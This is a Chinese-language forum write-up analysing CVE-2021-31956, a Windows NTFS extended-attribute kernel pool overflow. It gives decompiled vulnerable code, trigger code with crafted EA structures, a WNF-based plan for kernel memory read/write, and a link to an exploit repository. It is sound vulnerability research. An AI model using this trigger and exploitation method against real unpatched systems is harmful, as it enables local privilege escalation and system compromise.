其他
CVE-2021-31956分析与利用
本文为看雪论坛精华文章
看雪论坛作者ID:执着的追求
一
漏洞概括
二
漏洞复现环境
三
漏洞成因
_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1,
FILE_FULL_EA_INFORMATION *CurrentEas,
__int64 a3, __int64 PEaBuffer,
unsigned int UserBufferLength,
FILE_GET_EA_INFORMATION *pUserEaList,
char a7)
{
. . . . . .
while ( 1 )
{
// 索引ealist中的成员,用作下面的查找。
v11 = (FILE_GET_EA_INFORMATION *)((char *)pUserEaList + v9);
*(_QWORD *)&DestinationString.Length = 0i64;
DestinationString.Buffer = 0i64;
*(_QWORD *)&SourceString.Length = 0i64;
SourceString.Buffer = 0i64;
*(_QWORD *)&DestinationString.Length = v11->EaNameLength;
DestinationString.MaximumLength = DestinationString.Length;
DestinationString.Buffer = v11->EaName;
RtlUpperString(&DestinationString, &DestinationString);
// 检查ealist中成员的name是否有效
if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )
break;
v12 = v11->NextEntryOffset;
v13 = v11->EaNameLength;
v22 = v11->NextEntryOffset + v9;
// 遍历查询的EaList
for ( curEaList = pUserEaList; ; curEaList = (FILE_GET_EA_INFORMATION *)((char *)curEaList
+ curEaList->NextEntryOffset) )
{
if ( curEaList == v11 )
{
v15 = offset;
// v16 分配的内核池
v16 = (_DWORD *)(PEaBuffer + padding + offset);
// 根据name查找对应的Ea信息
if ( NtfsLocateEaByName((__int64)CurrentEas, *(_DWORD *)(a3 + 4), &DestinationString, &FeaOffset) )
{
ea_block = (FILE_FULL_EA_INFORMATION *)((char *)CurrentEas + FeaOffset);
// 计算内存拷贝大小
RawEaSize = ea_block->EaValueLength + ea_block->EaNameLength + 9;
//防溢出检查
if ( RawEaSize <= UserBufferLength - padding )
{
//溢出点
memmove(v16, ea_block, RawEaSize);
*v16 = 0;
goto LABEL_8;
}
}
. . . . . .
if ( !a7 )
{
if ( v24 )
*v24 = (_DWORD)v16 - (_DWORD)v24;
//判断是ealist中是否还有其他成员
if ( v11->NextEntryOffset )
{
v24 = v16;
// 总长度减去已经拷贝的长度
UserBufferLength -= RawEaSize + padding;
//padding的计算
padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize;
goto LABEL_26;
}
}
. . . . . .
}
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset; //下一个同类型结构的偏移,若是左后一个则为0。
UCHAR Flags;
UCHAR EaNameLength; //eanam数组的长度,不包含0终止字符。
USHORT EaValueLength; //数组中每个ea值的长度
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
内存拷贝的目的地址(v16)由参数传入,该参数是在NtfsCommonQueryEa函数中分配的内核池。
. . . . .
IrpSp = IoGetCurrentIrpStackLocation( Irp );
. . . . .
UserBufferLength = IrpSp->Parameters.QueryEa.Length;
. . . . .
if ( *(_BYTE *)(a2 + 64) )
{
v34 = v14;
v4 = ExAllocatePoolWithTag((POOL_TYPE)17, UserBufferLength, 0x4546744Eu);
v28 = v4;
v24 = 1;
}
memset(v4, 0, v10);
. . . . . .
if ( v33 )
{
v15 = NtfsQueryEaUserEaList(&v33, v30, (__int64)v27, (__int64)v4, v10, v33, v39);
}
. . . . . .
(NtfsCommonQueryEa函数片段)
总结来说,该漏洞有以下特点:
a) NtfsCommonQueryEa函数可通过ZwQueryEaFIle函数调用,函数原型如下:
NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle, //文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID Buffer, //扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构)
[in] ULONG Length, //缓冲区大小
[in] BOOLEAN ReturnSingleEntry,
[in, optional] PVOID EaList, //指定需要查询的扩展属性
[in] ULONG EaListLength,
[in, optional] PULONG EaIndex, //指定需要查询的起始索引
[in] BOOLEAN RestartScan
);
c) 可以覆盖下一个内核池块
d) 内核池分配时大小可控,并且可以进行堆布局。
四
漏洞触发
触发思路
NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle, //文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID Buffer, //设置的Ea属性,指向FILE_FULL_EA_INFORMATION结构,该结构定义如上。
[in] ULONG Length //Ea属性缓冲区的长度
);
触发步骤
构造第一个FILE_FULL_EA_INFORMATION结构如下:
curEa->Flags = 0;
// EaNameLength + EaValueLength +9 等于当前结构的总大小, 这里构造为18,使padding=2.
curEa->EaNameLength = 3;
curEa->EaValueLength = 6;
//NextEntryOffset指向下一个EA信息,必须4字节对齐。
curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
memcpy(curEa->EaName, ".PA", 3);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 6 , 0);
curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset) ;
curEa->NextEntryOffset = 0;
curEa->Flags = 0;
// 第二个结构总大小为104
curEa->EaNameLength = 4;
curEa->EaValueLength =100;
memcpy(curEa->EaName, ".PBB", 4);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 100 , 0);
构造NtQueryEaFile函数的Ealist参数如下:
memcpy(EaList->EaName, ".PA", strlen(".PA"));
EaList->EaNameLength = (UCHAR)strlen(".PA");
EaList->NextEntryOffset = 12; //必须4字节对齐
EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);
memcpy(EaList->EaName, ".PBB", strlen(".PBB"));
EaList->EaNameLength = (UCHAR)strlen(".PBB");
EaList->NextEntryOffset = 0;
调试
第一次内存copy
padding的计算
溢出检查失效
第二次内存拷贝时,成功溢出
五
漏洞利用
WNF简介
Windows Notification Facitily 是 Windows 中的一个通知系统。
WNF在内核中的数据结构
_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
// 每一个WNF_NAME_INSTANCE结构都会根据StateName来挂到树中。
+0x010 TreeLinks : _RTL_BALANCED_NODE
// wnf Name(3环的StateName ^ 0x41C64E6DA3BC0074)
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
// wnf 数据
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
// 指向当前进程的 eprocess结构
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
_WNF_SCOPE_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 DataScope : _WNF_DATA_SCOPE
+0x014 InstanceIdSize : Uint4B
+0x018 InstanceIdData : Ptr64 Void
+0x020 ResolverListEntry : _LIST_ENTRY
+0x030 NameSetLock : _WNF_LOCK
// 二叉树,根据这个成员来查找对应的NAME_INSTANCE结构
+0x038 NameSet : _RTL_AVL_TREE
+0x040 PermanentDataStore : Ptr64 Void
+0x048 VolatilePermanentDataStore : Ptr64 Void
_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
// 分配的内核池大小
+0x004 AllocatedSize : Uint4B
// 当前数据大小
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B
_WNF_STATE_NAME
struct _WNF_STATE_NAME
{
ULONGLONG Version : 4;
ULONGLONG NameLifetime : 2;
// 根据此成员来区分不同的WNF类型
ULONGLONG DataScope : 4;
ULONGLONG PermanentData : 1;
ULONGLONG Sequence : 53;
};
WNF相关API
NtCreateWnfStateName
typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_ ULONG MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);
(NtCreateWnfStateName函数片段)
NtUpdateWnfStateData
typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID * Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ ULONG CheckStamp);
if (!v12 && (a1->PermanentDataStore || (_DWORD)v6) || (v13 = v12) != 0i64 && v12->AllocatedSize < (unsigned int)v6)
{
......
if (((*(_DWORD *)&a1->StateName >> 4) & 3) != 3 || PsInitialSystemProcess == (PEPROCESS)a1->CreatorProcess)
{
v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithTag(PagedPool, (unsigned int)(v6 + 16), 0x20666E57u);
v25 = v21;
}
else
{
......
v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(v6 + 16), 0x20666E57u);
......
}
......
memmove(&v13[1], v7, v6);
v13->DataSize = v6;
v13->ChangeStamp = i;
v15 = a1->PermanentDataStore;
......
(NtUpdateWnfStateData函数片段)
NtQueryWnfStateData
typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_opt_ PWNF_TYPE_ID TypeId,
_In_opt_ const VOID * ExplicitScope,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize);
*a2 = v11->ChangeStamp;
*a5 = v11->DataSize;
v12 = v11->DataSize;
if ( a4 < v12 )
{
v14 = 0xC0000023;
}
else
{
memmove(a3, &v11[1], v12);
v14 = 0;
}
利用思路
相对内存读写
利用Ntfs Chunk覆盖StateData中的DataSize成员, 后续就可以使用NtQueryWnfStateData API来读取NAME INSTACE对象中的内容。覆盖StateData中的AllocateSize成员,后续就可以使用NtUpDateWnfStateData API来修改NAME INSTACE对象中的内容。
任意内存读写
利用过程
效果演示
EXP
github传送门(https://github.com/aazhuliang/CVE-2021-31956-EXP)
参考文章:
看雪ID:执着的追求
https://bbs.pediy.com/user-home-848410.htm
# 往期推荐
2.Windows本地代码执行漏洞(CVE-2012-1876)x86/x64平台分析
4.CVE-2019-9081 Laravel5.7 反序列化 RCE复现
6.CVE-2021-4034 pkexec本地提权漏洞复现与原理分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!